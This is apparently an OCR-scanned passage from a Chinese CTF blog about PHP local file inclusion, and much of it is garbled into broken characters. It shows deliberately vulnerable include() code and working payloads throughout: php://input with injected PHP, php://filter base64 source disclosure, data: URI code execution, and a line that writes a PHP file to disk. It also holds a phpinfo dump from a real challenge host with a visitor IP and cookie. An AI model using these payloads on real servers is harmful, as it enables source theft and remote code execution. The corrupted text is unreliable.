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$user = $ GET["user”];

$file = $ GET["file"];
$pass = $ GET["pass"];
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if(isset(fuser)&&(file get contents(fuser,'r’')==="the user is admin")){
echo "hello adminl!<br>»";
include($file); //class.php

}else

10 echo "you are not admin ! ";

11 }

12 ==

13 // #iEA url/index.php?user=php://input

14 // [POSTDATA] the user is admin

15 // &EHitiAhello admin!F B & &% it

W oo~ o B W

A] LA fouts ST A TR B R 5 88— E B B T B AU


https://blog.csdn.net/weixin_39580682
https://so.csdn.net/so/search/s.do?q=ctf%25E4%25B8%25AD%25E6%2580%258E%25E6%25A0%25B7%25E8%258E%25B7%25E5%258F%2596php%25E6%2596%2587%25E4%25BB%25B6%25E6%25BA%2590%25E7%25A0%2581&t=blog&o=vip&s=&l=&f=&viparticle=

gl @ localhost: COOO/tDGt file_ mdude/?f php://input phpiZia—an®

ERURE S hitp://localhost: 9000}‘[&5‘[ file_include/?f=php://input

it URL, ,E{r D:\wamp\h4lo.php - N!itepad++
) STAH(F) (E) =(S) HME(N) BERM) ESL |EM 7—(0) 'LE‘!"_I'(R) ?ﬁiﬁ‘o—(P) BEHwW)

=nile)ls Mee els)es) =

ENEDICIRG o = s & 0| |EIB B | % &[0 = | [E E
<?php fputs(fope |(‘D:/wamp,fh4\o.phd, W+')J‘<?php phpinfo();?>');?> B install B one. Jsp B Nanchester. py B users. sol B dot. txt B vlg. FHF
<?php phpinfo();?>

php://output
php:/loutput & — R EREER, FREFIREL print 71 echo —FERI T R B A HZ X,
php:/ffilter(E rx)

php:/filter & —Froitdeds, &itMTHERITITHKFRIES MM, B MhIEA—FIEIES, 7T MEHES
PE A T

. readfile(). file() # file_get contents(). include()

FEphp TR, ARAERT E SRIXHEH -

php://filter|{/reads+convert.base64-encodelresource=upload.php

EPARid 3 2%E A string.rot13. string.strip_tags. zlib.deflatefl Zlib.inflate &%, Huj R ExniE
convert.base64-encode BiF T .

URL FE& R EH LR

?file = xx BiF ?file = xoox.php
http://www.example.com/index.php?filename=login

R 2R B k-



include($file.'php') 8¢ include($file)
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?file = php://filter/read=convert.base64-encode/resource=login
?action = xxx & mode = xxx
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include($action.'".$mode.".php");
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highlight file(’ index. php ):
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view file: php. ini
so here is my hint: the included php. ini file is part of the configugartion file used on the server the bug was found.
so there will be something in it which enables vou to solve this level, wont?

always be UP TO DATE!

hint enough, might just take you seconds to do?!
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error_reporting(0);

include (" anti_rfi.php’); //rfi

is forbidden!!!!!

$inc = @S_GET[ file’ ];
@require_once(Sinc) ;
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WHERR, Hphp:/input Py i3 php.ini

GET: ?file=php://input,POST: <?php phpinfo();?>

#2ISERVER['DOCUMENT_ROOT"], st ZMuEHIIRE 3, "ARBILATHAKER, WF:

@© level3 tasteless.eu/?file=php://input
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<?php phpinfo();7>

_REQUEST["<?php phpinfo();2>"] no value

_GET["file"] php://input

_POST["<?php_phpinfo();?>"] no value

_COOKIE["__cfduid"] d77975a19d1a02111f414b22¢f82651e01525194811
_SERVER["CONTENT _LENGTH"] 18

_SERVER["CONTENT TYPE"]

application/x-www-form-urlencoded

_SERVER["CONTEXT DOCUMENT ROOT"] fvar/www/chall/level3

_SERVER["CONTEXT_PREFIX"] no value

_SERVER["DOCUMENT_ROOT"] /var/www/chall/level3 I

_SERVER["GATEWAY INTERFACE"] CGI/1.1

_SERVER["HTTP_ACCEPT"] text/html,application/xhtml+xml,application/xml:q=0.9,*/%,q=0.8
_SERVER["HTTP_ACCEPT_ENCODING"] gzip

_SERVER["HTTP_ACCEPT LANGUAGE"]

zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

_SERVER["HTTP_ALT USED"]

level3.tasteless.eu:443

_SERVER["HTTP_CF CONNECTING IP"]

59.50.85.23

_SERVER["HTTP_CF_IPCOUNTRY"]

CN

_SERVER["HTTP_CF_RAY"]

4697{2e85e48788c-LAX

_SERVER["HTTP _CF VISITOR"]

{"scheme":"http"}

_SERVER["HTTP_CONNECTION"]

Keep-Alive

SERVER["HTTP COOKIE"]
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cfduid=d77975a19d1a02111f414b22cf82651e01525194811
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POST:
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?f=php://filter/convert.base64-encode/resource=login.php(id J& 7 #/E &read)
?f=php:/ffilter/read=convert.base64-encode/resource=1.jpg/resource=./show.php(1E | /resource="*.jpg/i)
?f=data:text/plain,<?php phpinfo()?>

?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
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$img = § GET[ img’ ];
if(isset($img) && 'empty ($img))

{
if(strpos($img, ’ jpg’) !== false)
{
if(strpos ($img, 'resource=") !== false && preg match(’ /resource=. *jpg/i’, $img) == 0)
die(’File not found. ’);
}
preg match(’/ php:\/\/filter. *resource=([ []*)/i’, trim($img), $matches) :
if(isset ($matches[1]))
{
Simg = $matches(1];
}
header ("Content-Type: image/jpeg’):
Sdata = get contents($img);
echo $data;
/
else
{
die('File not found. )
}
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